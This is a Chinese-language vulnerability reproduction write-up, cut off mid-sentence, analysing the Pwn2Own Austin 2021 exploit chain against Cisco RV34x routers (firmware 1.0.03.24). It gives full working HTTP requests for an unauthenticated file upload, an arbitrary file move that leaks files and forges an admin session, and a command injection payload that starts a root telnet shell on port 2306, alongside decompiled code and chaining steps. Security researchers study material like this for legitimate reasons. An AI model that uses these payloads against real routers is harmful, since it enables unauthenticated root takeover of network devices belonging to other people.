去年一整年Cisco RV34x系列曝出了一系列漏洞,在经历了多次修补之后,在年底的Pwn2Own Austin 2021上该系列路由器仍然被IoT Inspector Research Lab攻破了,具体来说是三个逻辑漏洞结合实现了RCE
,本文将基于该团队发布的wp进行复现分析。
漏洞公告信息如下,影响的版本是1.0.03.24
之前,受影响的产品除了RV34x
之外,还包括RV160
、RV160W
、RV260
以及RV260W
系列。
Affected vendor & product
Vendor Advisory
Cisco RV340 Dual WAN Gigabit VPN Router (https://www.cisco.com/)
https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html
Vulnerable version 1.0.03.24 and earlier
Fixed version 1.0.03.26
CVE IDs CVE-2022-20705
CVE-2022-20708
CVE-2022-20709
CVE-2022-20711
Impact 10 (critical) AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Credit Q. Kaiser, IoT Inspector Research Lab
无条件RCE
的实现是由三个漏洞一起构成的,包括:
任意文件上传漏洞;
任意文件移动漏洞;
认证后的命令注入漏洞。
通过前两个漏洞实现了有效session
的伪造,利用伪造的session
具备了访问认证后页面的能力,后续再利用认证后命令注入漏洞实现rce
。
此次的分析是基于固件版本1.0.03.24进行的,下载固件使用binwalk
进行解压,刷新到路由器当中以方便后续动态调试验证。
此次漏洞分析的基础有两个,一个是要能看懂nginx+uwsgi
架构组成的web
框架配置,尤其是nginx
配置文件的了解;一个是要能知道cisco ConfD+yang
实现的后端数据中心服务。前者可以通过搜索nginx+uwsgi 配置
实现,特别是需要nginx
上传模块的配置,可参考Nginx-upload-module中文文档;后者资料不多,需要啃官方文档,可以先了解netconf+yang
的网络管理模型,然后再查看官方文档ConfD User Guide来掌握。
认证前任意文件上传漏洞以及任意文件移动漏洞认证前的功能都是因为nginx
的不正确配置所导致的,先来看任意文件上传漏洞。
nginx
的主配置文件是/etc/nginx/nginx.conf
,从它的内容当中可以看到对应的用户权限是www-data
,
# /etc/nginx/nginx.conf
user www-data;
worker_processes 4;
error_log /dev/null;
events {
worker_connections 1024;
}
http {
access_log off;
#error_log /var/log/nginx/error.log error;
upstream jsonrpc {
server 127.0.0.1:9000;
}
upstream rest {
server 127.0.0.1:8008;
}
# For websocket proxy server
include /var/nginx/conf.d/proxy.websocket.conf;
include /var/nginx/sites-enabled/*;
}
加载的配置是/var/nginx/conf.d/proxy.websocket.conf
以及/var/nginx/sites-enabled/*
。
/usr/bin # ls /var/nginx/sites-enabled/
web-rest-lan web-wan
可以在/etc/nginx/sites-available/web-rest-lan
中看到它加载了lan.rest.conf
以及web.upload.conf
这两个配置文件。
# /etc/nginx/sites-available/web-rest-lan
...
server {
server_name localhost:443;
#mapping to Firewall->Basic Settings->LAN/VPN Web Management, it will generate by ucicfg
...
include /var/nginx/conf.d/lan.rest.conf;
...
include /var/nginx/conf.d/web.upload.conf;
...
}
nginx
的所有模块的配置都存储在/etc/nginx/conf.d
当中,其中与lan.rest.conf
对应的是rest.url.conf
,其内容如下:
# /etc/nginx/conf.d/rest.url.conf: 13
location /api/operations/ciscosb-file:form-file-upload {
set $deny 1;
if ($http_authorization != "") {
set $deny "0";
}
if ($deny = "1") {
return 403;
}
upload_pass /form-file-upload;
upload_store /tmp/upload;
upload_store_access user:rw group:rw all:rw;
upload_set_form_field $upload_field_name.name "$upload_file_name";
upload_set_form_field $upload_field_name.content_type "$upload_content_type";
upload_set_form_field $upload_field_name.path "$upload_tmp_path";
upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
upload_pass_form_field "^.*$";
upload_cleanup 400 404 499 500-505;
upload_resumable on;
}
结合proxy.conf
内容可以看到,当请求头中的Authorization
不为空的时候,此时$deny
会被设置为0
,并调用upload
模块,存储的路径是/tmp/upload
。因为upload_store
没有配置level
,所以nginx
会默认将上传的数据按/tmp/upload/0000000001
数字命名的方式顺序存储。
# etc/nginx/conf.d/proxy.conf,
proxy_http_version 1.1;
proxy_set_header Host $http_host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header Authorization $http_authorization;
proxy_set_header Accept-Encoding "";
proxy_set_header Connection "";
proxy_ssl_session_reuse off;
server_name_in_redirect off;
从上面的配置可以看出,在调用/form-file-upload
之前,nginx
已经将用户上传的数据存储到了/tmp/upload
当中,同时存储的名字又是可以预测的,后续它还会调用upload_set_form_field
等方法将表单中的字段进行替换,并最终调用/form-file-upload
。
在这里调不调用/form-file-upload
我们并不关心,因为在/form-file-upload
之前我们已经可以实现任意文件上传的功能了。具体来说是先通过在HTTP
请求包中加入一个Authorization
头,这样绕过了认证触发了上传模块;而后我们上传的数据就会被存储到/tmp/upload
当中,同时名字也可以可以遍历得到。
利用该漏洞最终实现的效果就是可以无条件的在/tmp/upload
目录当中上传任意文件,其文件名类似为/tmp/upload/0000000001
,数字由上传文件的序列决定,可以通过遍历实现。
发送请求包如下所示:
POST /api/operations/ciscosb-file:form-file-upload HTTP/1.1
Host: 192.168.1.1
Authorization: 123=456
Cookie: selected_language=English; session_timeout=false; sessionid=2727f44696347c5e1218c78a2471f1c48ab9e6f4a9c3b3b6ab1db9a1365fd620; user=cisco; blinking=1; config-modified=1; disable-startup=0; redirect-admin=0; group=admin; attributes=RW; ru=0; bootfail=0; model_info=RV345; fwver=1.0.03.24; current-page=Admin_Config_Management
Content-Length: 854
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="98", "Google Chrome";v="98"
Accept: application/json, text/plain, */*
Optional-Header: header-value
Sec-Ch-Ua-Mobile: ?0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBtdH1UtBT6GPZrcM
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://192.168.1.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.1/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="sessionid"
2727f44696347c5e1218c78a
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="pathparam"
a
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="file.path"
a
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="fileparam"
a
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="websession"; filename="a.xml"
Content-Type: text/xml
{
"max-count":1,
"cisco":{
"4a04cd411434cea78f2d81b692dfa4a41aea9e4b15536fb933fab11df8ed414a":{
"user":"cisco",
"group":"admin",
"time":315156,
"access":1,
"timeout":9999,
"leasetime":15275860
}
}
}
------WebKitFormBoundaryBtdH1UtBT6GPZrcM--
第二个漏洞存是任意文件移动漏洞,可以实现任意文件移动。漏洞的原理是nginx
未做权限限制同时后端也没有对权限进行认证,导致权限绕过;后端在实现过程中没有对输入校验导致任意文件移动。
下面来对该漏洞进行详细的分析。
先是权限绕过漏洞分析,/etc/nginx/conf.d/web.upload.conf
内容如下,可以看到nginx
对/upload
请求进行了session
的验证(权限的判定),但它却没有对/form-file-upload
请求进行权限校验,用户可以不需要任何权限直接请求/form-file-upload
。
# /etc/nginx/conf.d/web.upload.conf
location /form-file-upload {
include uwsgi_params;
proxy_buffering off;
uwsgi_modifier1 9;
uwsgi_pass 127.0.0.1:9003;
uwsgi_read_timeout 3600;
uwsgi_send_timeout 3600;
}
location /upload {
set $deny 1;
if (-f /tmp/websession/token/$cookie_sessionid) {
set $deny "0";
}
if ($deny = "1") {
return 403;
}
upload_pass /form-file-upload;
upload_store /tmp/upload;
upload_store_access user:rw group:rw all:rw;
upload_set_form_field $upload_field_name.name "$upload_file_name";
upload_set_form_field $upload_field_name.content_type "$upload_content_type";
upload_set_form_field $upload_field_name.path "$upload_tmp_path";
upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
upload_pass_form_field "^.*$";
upload_cleanup 400 404 499 500-505;
upload_resumable on;
}
去看/form-file-upload
的后端处理程序,前面说过后端是使用uwsgi
实现的,其服务启动的命令如下:
# usr/bin/uwsgi-launcher: 5
#!/bin/sh /etc/rc.common
start() {
uwsgi -m --ini /etc/uwsgi/jsonrpc.ini &
uwsgi -m --ini /etc/uwsgi/blockpage.ini &
uwsgi -m --ini /etc/uwsgi/upload.ini &
}
可以看到/form-file-upload
对应的uwsgi_pass
目的地是127.0.0.1:9003
。对应的是uwsgi
启动的服务,配置文件的路径是/etc/uswgi/upload.ini
,从该文件的内容中可以看到,对应的后端处理程序是/www/cgi-bin/upload.cgi
。
# /etc/uswgi/upload.ini
[uwsgi]
plugins = cgi
workers = 1
master = 1
uid = www-data
gid = www-data
socket=127.0.0.1:9003
buffer-size=4096
cgi = /www/cgi-bin/upload.cgi
cgi-allowed-ext = .cgi
cgi-allowed-ext = .pl
cgi-timeout = 300
ignore-sigpipe = true
从上面的描述中我们可以知道现在具备的能力是无条件访问/www/cgi-bin/upload.cgi
的能力,下面逆向/www/cgi-bin/upload.cgi
,来看是如何实现任意文件移动的。
将upload.cgi
拖入到IDA当中,可以看到它先在环境变量中获取数据,然后调用multipart-parser-c库来解析上传的数据包,解析完成后调用prepare_file
来预处理上传的文件。
int __fastcall main(int a1, char **a2, char **a3)
{
...
content_length_ptr = (int)getenv("CONTENT_LENGTH");
content_type_ptr = getenv("CONTENT_TYPE");
request_uri_ptr = getenv("REQUEST_URI");
http_cookie_ptr = getenv("HTTP_COOKIE");
...
callbacks.on_header_value = read_header_name;
callbacks.on_part_data = read_header_value;
json_obj = json_object_new_object();
...
parser = multipart_parser_init(boundary_ptr, &callbacks);
length = strlen(content_buf_ptr);
multipart_parser_execute(parser, content_buf_ptr, length);
multipart_parser_free(parser);
jsonutil_get_string(json_obj, &filepath_ptr, "\"file.path\"", -1);
jsonutil_get_string(json_obj, &filename_ptr, "\"filename\"", -1);
jsonutil_get_string(json_obj, &pathparam_ptr, "\"pathparam\"", -1);
jsonutil_get_string(json_obj, &fileparam_ptr, "\"fileparam\"", -1);
jsonutil_get_string(json_obj, &destination_ptr, "\"destination\"", -1);
jsonutil_get_string(json_obj, &option_ptr, "\"option\"", -1);
jsonutil_get_string(json_obj, &cert_name_ptr, "\"cert_name\"", -1);
jsonutil_get_string(json_obj, &cert_type_ptr, "\"cert_type\"", -1);
jsonutil_get_string(json_obj, &password_ptr, "\"password\"", -1);
...
local_fileparam_ptr = StrBufToStr(local_fileparam_buf);
ret_code = prepare_file(pathparam_ptr, filepath_ptr, local_fileparam_ptr);
跟进去prepare_file
函数,可以看到该函数会进行文件移动操作,参数file.path
当作源文件路径,根据pathparam
的类型设置目的文件夹并与fileparam
当做目的文件名进行拼接最终作为目的路径。实现的方式是调用system
,参数是"mv -f %s %s/%s"
,可以看到目的文件名进行了参数的校验,源文件只判断了文件是否存在,因此这个地方该参数使得我们可以移动任意的文件,当类型我们设置为Portal
的时候,目的文件夹是
类型是Portal
的时候,会把目的文件夹设置为/tmp/www
,因为我们最终可以实现的效果是可以将任意文件移动到/tmp/www
目录文件夹下。
int __fastcall prepare_file(const char *type, const char *src, const char *dst)
{
...
if ( !strcmp(type, "Firmware") )
{
target_dir = "/tmp/firmware";
}
...
else
{
if ( strcmp(type, "Portal") )
return -1;
target_dir = "/tmp/www";
}
if ( !is_file_exist(src) )
return -2;
if ( strlen(src) > 0x80 || strlen(dst) > 0x80 )
return -3;
if ( match_regex("^[a-zA-Z0-9_.-]*$", dst) )
return -4;
sprintf(s, "mv -f %s %s/%s", src, target_dir, dst);
debug("cmd=%s", s);
...
ret_code = system(s);
利用该漏洞最直接的效果就是可以将一些敏感文件移动到/tmp/www
目录下然后访问该路径,实现敏感信息泄露,更深层次的利用在后续分析中说明。
下面的请求包可以实现将/tmp/upload/0000000001
移动到/tmp/www/bak
POST /form-file-upload HTTP/1.1
Host: 192.168.1.1
Cookie: selected_language=English; session_timeout=false; sessionid=2727f44696347c5e1218c78a2471f1c48ab9e6f4a9c3b3b6ab1db9a1365fd620; user=cisco; blinking=1; config-modified=1; disable-startup=0; redirect-admin=0; group=admin; attributes=RW; ru=0; bootfail=0; model_info=RV345; fwver=1.0.03.24; current-page=Admin_Config_Management
Content-Length: 626
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="98", "Google Chrome";v="98"
Accept: application/json, text/plain, */*
Optional-Header: header-value
Sec-Ch-Ua-Mobile: ?0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBtdH1UtBT6GPZrcM
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://192.168.1.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.1/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="sessionid"
2727f44696347c5e1218c78a
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="pathparam"
Portal
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="file.path"
/tmp/upload/0000000001
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="fileparam"
bak
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="websession"; filename="a.xml"
Content-Type: text/xml
{
}
------WebKitFormBoundaryBtdH1UtBT6GPZrcM--
最后是一个认证后命令执行漏洞,漏洞存在于/usr/bin/update-clients
中。
可以看到在update-clients
中,参数$name
可以实现注入。
#!/usr/bin/perl
my $total = $#ARGV + 1;
my $counter = 1;
#$mac = "FF:FF:FF:FF:FF:FF";
#$name = "TestPC";
#$type = "Computer";
#$os = "Windows";
foreach my $a(@ARGV)
{
if (($counter%12) == 0)
{
system("lcstat dev set $mac \"$name\" \"$type\" \"$os\" > /dev/null");
}
elsif (($counter%12) == 4)
{
$mac = $a
}
elsif (($counter%12) == 6)
{
$name = $a
}
elsif (($counter%12) == 8)
{
$type = $a
}
elsif (($counter%12) == 10)
{
$os = $a
}
$counter++;
}
这里要搞清楚的是http
请求包是怎么跑到/usr/bin/update-clients
去执行的。
RV34x
系列采用的是ConfD
的架构来进行网络管理的,ConfD是tail-f推出的配置管理开发框架,提供多种工具,针对多种标准,其中也包括了对NETCONF/YANG的支持。Tail-f已经被思科收购,所以ConfD应该说是思科的ConfD了。根据官方手册ConfD User Guide,它的架构如下。基础知识前面已经说过,可以去了解netconf+yang
模型的网络管理。
confd_architecture
CDB
是内置的数据库,由xml
表示,被ConfD
解析后提供多个接口以实现多客户端的访问。对于RV34x
系列来说,配置文件的路径是/etc/confd/cdb/
,该目录下的xml
便是配置的数据。比较关注的是config_init.xml
,该配置文件里面存储了包含用户密码等信息在内的数据。
接口模型使用yang
定义,yang
是一种数据建模语言,下面给出部分关键字的解释,当然也可以从ConfD User Guide中去了解更多的信息:
module
定义了一种分层的配置树结构。它可以使能NETCONF
的所有功能,如配置操作(operation
),RPC
和异步通知(notification
)。开发者可根据配置数据的语义来定义不同的module
。
namespace
用于唯一的标识module
,等同于xml
文件中的namespace
。
container
节点把相关的子节点组织在一起。
list
节点可以有多个实例,每个实例都有一个key
唯一标识。
leaf
是叶子节点,具有数据类型和值,如叶子结点name
的数据类型(type
)是string
,它唯一的表示list
节点interface
。
下面我们看下关于漏洞点的rpc
调用的yang
的定义:
// /etc/confd/yang/ciscosb-avc.yang: 197
rpc update-clients {
input {
list clients {
key mac;
leaf mac {
type yang:mac-address;
mandatory true;
}
leaf hostname {
type string;
}
leaf device-type {
type string;
}
leaf os-type {
type string;
}
}
}
}
augment "/ciscosb-ipgroup:ip-groups/ciscosb-ipgroup:ip-group/ciscosb-ipgroup:ips" {
uses ciscosb-security-common:DEVICE-OS-TYPE;
}
augment "/ciscosb-ipgroup:ip-groups/ciscosb-ipgroup:ip-group/ciscosb-ipgroup:macs" {
uses ciscosb-security-common:DEVICE-OS-TYPE;
}
可以看到上面定义了类似于下面的json
数据请求包,hostname
、device-type
以及os-type
都是leaf
结点,类型(type
)也是字符串(string
)。
POST /jsonrpc HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/plain, */*
Content-Length: 350
Connection: close
Cookie: selected_language=English; user=cisco; blinking=1; config-modified=1; disable-startup=0; redirect-admin=0; group=admin; attributes=RW; ru=0; bootfail=0; model_info=RV345; fwver=1.0.03.24; session_timeout=false; sessionid=138b633ddd844b81a8ea48a149819f645fbe31fb64a1bd7cc0072f3d14420da0; current-page=WAN_Settings
{
"jsonrpc":"2.0",
"method":"action",
"params":{
"rpc":"update-clients",
"input":{
"clients": [
{
"hostname": "rv34x",
"mac": "64:d1:a3:4f:be:e1",
"device-type": "client",
"os-type": "windows"
}
]
}
}
}
yang
数据接口的定义在路径/etc/confd/yang
目录下,它被confdc
编译成.fxs
文件输出到了/etc/confd/fxs
当中,后续这些.fxs
文件被confd
解析使用。
现在基本搞清楚了漏洞触发的原因,现在从细节实现上来看请求的数据包是如何触发rpc
请求的。
nginx
的配置文件中定义了/jsonrpc
的请求路径,可以看到它处理的uwsgi_pass
是jsonrpc
# /etc/nginx/conf.d/web.conf: 18
location = /jsonrpc {
include uwsgi_params;
proxy_buffering off;
uwsgi_modifier1 9;
uwsgi_pass jsonrpc;
uwsgi_read_timeout 3600;
uwsgi_send_timeout 3600;
}
在uwsgi
的定义中找到jsonrpc
的定义,可以看到它对应的处理程序是/www/cgi-bin/jsonrpc.cgi
:
[uwsgi]
plugins = cgi
workers = 4
master = 1
uid = www-data
gid = www-data
socket=127.0.0.1:9000
buffer-size=4096
cgi = /jsonrpc=/www/cgi-bin/jsonrpc.cgi
cgi-allowed-ext = .cgi
cgi-allowed-ext = .pl
cgi-timeout = 3600
ignore-sigpipe = true
跟进去jsonrpc.cgi
,来看上面的数据包所引发的数据流是怎么传输到ConfD
的。
把jsonrpc.cgi
拖到IDA里面,可以看到它会先获取环境变量,然后读取post
数据,然后调用parse_json_content
函数去解析post
过去的json
数据,最后调用handle_rpc
去处理。
int __fastcall main(int a1, char **a2, char **a3)
{
content_length_ptr = (int)getenv("CONTENT_LENGTH");
content_type_ptr = getenv("CONTENT_TYPE");
http_cookie_ptr = getenv("HTTP_COOKIE");
...
if ( content_length_ptr )
content_length_ptr = atoi((const char *)content_length_ptr);
content_ptr = malloc(content_length_ptr + 1);
content_ptr[fread(content_ptr, 1u, content_length_ptr, stdin)] = 0;
malloc_ctx(&json_ctx);
parse_json_content(json_ctx, content_ptr);
...
handle_rpc(json_ctx, &ret_str);
}
跟进去handle_rpc
函数,看到它除了输出些日志以外,调用了post_rpc_request
。
void __fastcall handle_rpc(ctx *json_ctx, char **ret_str)
{
...
debug("[%d|%s] - begin.", pid, method);
...
ret = post_rpc_request(json_ctx, (char *)&ptr);
...
info("[%d|%s] - end. elapsed=%lu.%06lu", pid, method, time.tv_sec, time.tv_usec);
}
}
post_rpc_request
是主要的流程分发函数,可以看到用户相关的请求是直接调用handle_user_rpc_request
函数,而其余的则都会调用check_login_status
函数对session
进行校验,然后根据json
请求当中的不同的method
调用不同的处理函数。对于漏洞请求的update-clients
,处理的函数是handle_action_rpc_request
。
int __fastcall post_rpc_request(ctx *json_ctx, char *ret_str)
{
char *method; // r4
int ret; // r0 MAPDST
method = json_ctx->method;
if ( !method )
return 0;
if ( !strcmp(json_ctx->method, "login")
|| !strcmp(method, "logout")
|| !strcmp(method, "u2d_check_password")
|| !strcmp(method, "u2d_change_password")
|| !strcmp(method, "change_password")
|| !strcmp(method, "add_users")
|| !strcmp(method, "set_users")
|| !strcmp(method, "del_users") )
{
return handle_user_rpc_request(json_ctx, ret_str);
}
if ( !strcmp(method, "get_downloadstatus")
|| !strcmp(method, "get_wifi_button_state")
|| !strcmp(method, "check_config")
|| !strcmp(method, "get_model_tree")
|| !strcmp(method, "get_timezones") )
{
if ( check_login_status(json_ctx, 1, 2) )
return 0;
ret = handle_status_rpc_request((int)json_ctx, ret_str);
}
else if ( !strncmp(method, "get_", 4u) || !strncmp(method, "u2d_get_", 8u) )
{
if ( check_login_status(json_ctx, 1, 2) )
return 0;
ret = handle_get_rpc_request(json_ctx, ret_str);
}
else if ( !strcmp(method, "set_bulk") )
{
if ( check_login_status(json_ctx, 2, 2) )
return 0;
ret = handle_set_bulk_rpc_request(json_ctx, ret_str);
}
else if ( !strncmp(method, "set_", 4u) || !strncmp(method, "del_", 4u) || !strncmp(method, "u2d_set_", 8u) )
{
if ( check_login_status(json_ctx, 2, 2) )
return 0;
ret = handle_set_del_rpc_request(json_ctx, (int *)ret_str, 1);
}
else
{
if ( strncmp(method, "action", 6u) && strncmp(method, "u2d_rpc_", 8u) )
{
error("ERROR METHOD CASE !!!");
return 0;
}
if ( check_login_status(json_ctx, 1, 2) )
return 0;
ret = handle_action_rpc_request(json_ctx, ret_str);
}
session_close();
return ret;
}
跟进去handle_action_rpc_request
函数,它会调用jsonrpc_action_table_by_method
函数,根据rpc
的内容(样例中是update-clients
)返回对应的处理函数。在获取input
对象后,将处理函数p_action
对象以及input
参数值,作为参数调用jsonrpc_action_config
去执行rpc
调用。
int __fastcall handle_action_rpc_request(ctx *ctx, _DWORD *ret_str)
{
...
method = ctx->method;
params = ctx->params;
...
else if ( !strcmp(method, "action") && json_object_object_get_ex(params, "rpc", &rpc_json_obj) )
{
p_action = &action;
...
rpc_str = json_object_get_string(rpc_json_obj);
...
if ( !jsonrpc_action_table_by_method(&action, rpc_str) )
p_action = 0;
...
if ( json_object_object_get_ex(params, "input", &input_param) )
params = input_param;
if ( p_action )
{
ret = jsonrpc_action_config((int)p_action, params, (int)&v17);
先跟进去jsonrpc_action_table_by_method
函数看它是怎么获取处理函数的。函数的定义在libjsess.so
当中,可以看到它主要是遍历action
数组,通过rpc_str
的值来确定具体是哪个action
来处理rpc
调用。
int __fastcall jsonrpc_action_table_by_method(action *ret_action, char *rpc_str)
{
...
action_table = &json_action_table_ptr;
action = *action_table;
memset(ret_action, 0, sizeof(action));
while ( 1 )
{
if ( !action->name )
return 0;
if ( !strcmp(rpc_str, action->name) )
break;
if ( !++action )
return 0;
}
p_post_handler = &action->post_handler;
do
{
...
// 拷贝找到的action到ret_action当中
}
while ( !v10 );
return 1;
}
action
结构体定以及update-clients
对应的action
的定义如下,可以确定对应的处理函数是action__maapi
。
00000000 action struc ; (sizeof=0x14, mappedto_55)
00000000 name DCD ? ; offset
00000004 field_4 DCD ?
00000008 pre_handler DCD ? ; offset
0000000C handler DCD ? ; offset
00000010 post_handler DCD ? ; offset
00000014 action ends
.data:00043BD0 DCD aUpdateClients ; "update-clients"
.data:00043BD4 DCD 0
.data:00043BD8 DCD 0
.data:00043BDC DCD action__maapi
.data:00043BE0 DCD 0
找到对应的函数后,处理函数会调用jsonrpc_action_config
去处理rpc
请求。跟进去该函数,它会调用上面获取的action
对象中的函数,对于update-clients
,则会调用action__maapi
。
int jsonrpc_action_config(action *action, int param_obj, _DWORD *a3))(int, int *)
{
...
if ( v7 )
v7 = json_tokener_parse();
func = (int)action->pre_handler;
if ( func )
func = func(v6, &v16);
...
pid = getppid();
info("[%d|action|%s] - pre-handler %d.", pid, action->name, func);
handler = action->handler;
if ( handler )
func = handler(v16, v9, &v17);
...
post_handler = action->post_handler;
if ( post_handler )
func = post_handler(v17, a3);
...
}
跟进去action__maapi
函数,看到它调用了jsess_action
,经过跟踪,确定它最终调用的是mctx_rpc
函数。
int __fastcall action__maapi(int a1, int a2, int *a3)
{
...
result = jsess_action(g_h_sess_db);
...
}
.data:00044248 jmaapi_api DCD jmaapi_open ; DATA XREF: LOAD:00000D6C↑o
.data:00044248 ; jsess_set_type:loc_7F48↑o ...
.data:0004424C DCD jmaapi_apply
.data:00044250 DCD jmaapi_close
.data:00044254 DCD jmaapi_init
.data:00044258 DCD jmaapi_get
.data:0004425C DCD jmaapi_set
.data:00044260 DCD jmaapi_del
.data:00044264 DCD jmaapi_action
int __fastcall jmaapi_action(int a1, int a2, int a3, int a4, int a5)
{
...
return mctx_rpc(s, a3, a4, a5);
}
跟进去mctx_rpc
函数,可以看到它调用了maapi_request_action_str_th
函数去向ConfD
发起请求,执行rpc
调用。
int __fastcall mctx_rpc(int *a1, int a2, int a3, int a4)
{
...
while ( v9 )
{
.
...
v5 = maapi_request_action_str_th(sock, thandle, (int)&output, v15, v10);
...
if ( output )
{
mctx_rpc_cli((int)a1, (char *)output, a3, a4);
free(output);
}
if ( !json_object_object_length(a4) )
{
v16 = json_object_new_int(0);
json_object_object_add(a4, "code", v16);
v17 = json_object_new_string("Success");
json_object_object_add(a4, "errstr", v17);
}
}
}
StrBufFree(&v27);
return v5;
}
maapi_request_action_str_th
函数的官方手册的说明如下,正是由该函数最终发送rpc
请求去触发/usr/bin/update-clients
的,调用的传递的参数要符合yang
模型中的定义。
int maapi_request_action_str_th(int sock, int thandle, char **output,
const char *cmd_fmt, const char *path_fmt, ...);
/*Does the same thing as maapi_request_action_th(), but takes the parameters as a string and
returns the result as a string. The library allocates memory for the result string, and the caller is responsible
for freeing it. This can in all cases be done with code like this:
*/
char *output = NULL;
if (maapi_request_action_str_th(sock, th, &output,
"test reverse listint [ 1 2 3 4 ]", "/path/to/action") == CONFD_OK) {
...
free(output);
}
跟到这里就算结束了,ConfD
里面的实现就不继续跟踪了,具体的ConfD
的说明还是建议简要把官方手册的关键章节看看,对进一步掌握框架由很好的帮助。
值得一提的是因为ConfD
是root
权限,所以/usr/bin/update-clients
最终执行的时候也是root
权限,因此利用这个漏洞拿到的权限也是root
,比之前在cgi
中拿到的权限要高。
认证后命令注入的post
包如下所示:
POST /jsonrpc HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/plain, */*
Content-Length: 350
Connection: close
Cookie: selected_language=English; user=cisco; blinking=1; config-modified=1; disable-startup=0; redirect-admin=0; group=admin; attributes=RW; ru=0; bootfail=0; model_info=RV345; fwver=1.0.03.24; session_timeout=false; sessionid=138b633ddd844b81a8ea48a149819f645fbe31fb64a1bd7cc0072f3d14420da0; current-page=WAN_Settings
{
"jsonrpc":"2.0",
"method":"action",
"params":{
"rpc":"update-clients",
"input":{
"clients": [
{
"hostname": "hostname$(/usr/sbin/telnetd -l /bin/sh -p 2306)",
"mac": "64:d1:a3:4f:be:e1",
"device-type": "client",
"os-type": "windows"
}
]
}
}
}
上面一节中把三个漏洞的细节都描述了一遍,本节中我们将尝试将三个漏洞结合起来实现无条件RCE
的利用。
先回顾下三个漏洞的作用:
任意文件上传漏洞:可以实现上传任意文件到/tmp/upload
目录中,文件名是可以预测的,是0000000000
的数字递增;
任意文件移动漏洞:可以实现将文件系统中任意文件移动至/tmp/www
目录下;
认证后命令执行漏洞:简单粗暴的认证后命令注入。
利用这三个漏洞的结合可以总结为:
利用任意文件上传漏洞上传伪造的session
到/tmp/upload
目录下;
利用任意文件移动漏洞将伪造的session
移动至/tmp
目录下,实现有效session
的伪造;
基于有效session
,利用认证后命令执行漏洞拿到root
权限;
下面一步一步进行解释。
第一步伪造session
,先说明下RV34x
中的session
构成,session
存储在/tmp/websession
目录下
/tmp # ls websession/
session token
/tmp # cat websession/session
{
"max-count":1,
"cisco":{
"dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8":{
"user":"cisco",
"group":"admin",
"time":2433831,
"access":1,
"timeout":1800,
"leasetime":13118911
}
}
}
/tmp # ls websession/token/
dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8
/tmp # cat websession/token/dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8
/tmp #
可以看到整个session
的构成包含两个部分,一部分是/tmp/websession/session
文件中包含登录的用户信息,信息中存储了用户名、session id
、用户组、超时时间等;另一部分则是/tmp/websession/token/
目录下有sessionid
对应的文件,文件内容为空。因此要构造的是session
文件内容,以及空的sessionid
所对应的文件。
先利用任意文件漏洞漏洞上传上面两个文件,一个内容如下,另一个内容随意。要提一句的是session
文件中time
的构造是系统启动的时间,可以用任意文件移动漏洞执行mv /proc/uptime /tmp/www/login.html
,然后访问login.html
来泄漏时间戳。
{
"max-count":1,
"cisco":{
"dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8":{
"user":"cisco",
"group":"admin",
"time":2433831,
"access":1,
"timeout":1800,
"leasetime":13118911
}
}
}
还有个问题需要解决的是如何确定传上去的两个文件的名称。这可以通过利用任意文件移动漏洞备份/tmp/www/index.html
,然后随意上传一个文件,再利用任意文件移动漏洞依次序将/tmp/upload/0000000000
移动至/tmp/www/index.html
,访问主页,如果主页内容发生变化,即可得到序号,下一次再将两个文件上传,文件名称即为刚刚得到的序号递增的两个序号。
第二步是利用任意文件移动漏洞将刚刚伪造的session
及session id
文件移动至/tmp
目录下,实现有效session
的伪造。前面说过该任意文件移动只能将任意的文件移动到/tmp/www
目录下,而websession
文件夹则在/tmp
目录下,如何才能够通过这个漏洞将我们的文件移动到/tmp
目录下呢?
解决方法可以利用/var
这个目录,该目录是/tmp
目录到链接,将该目录移动至/tmp/www
目录下,后续再往/tmp/www/var
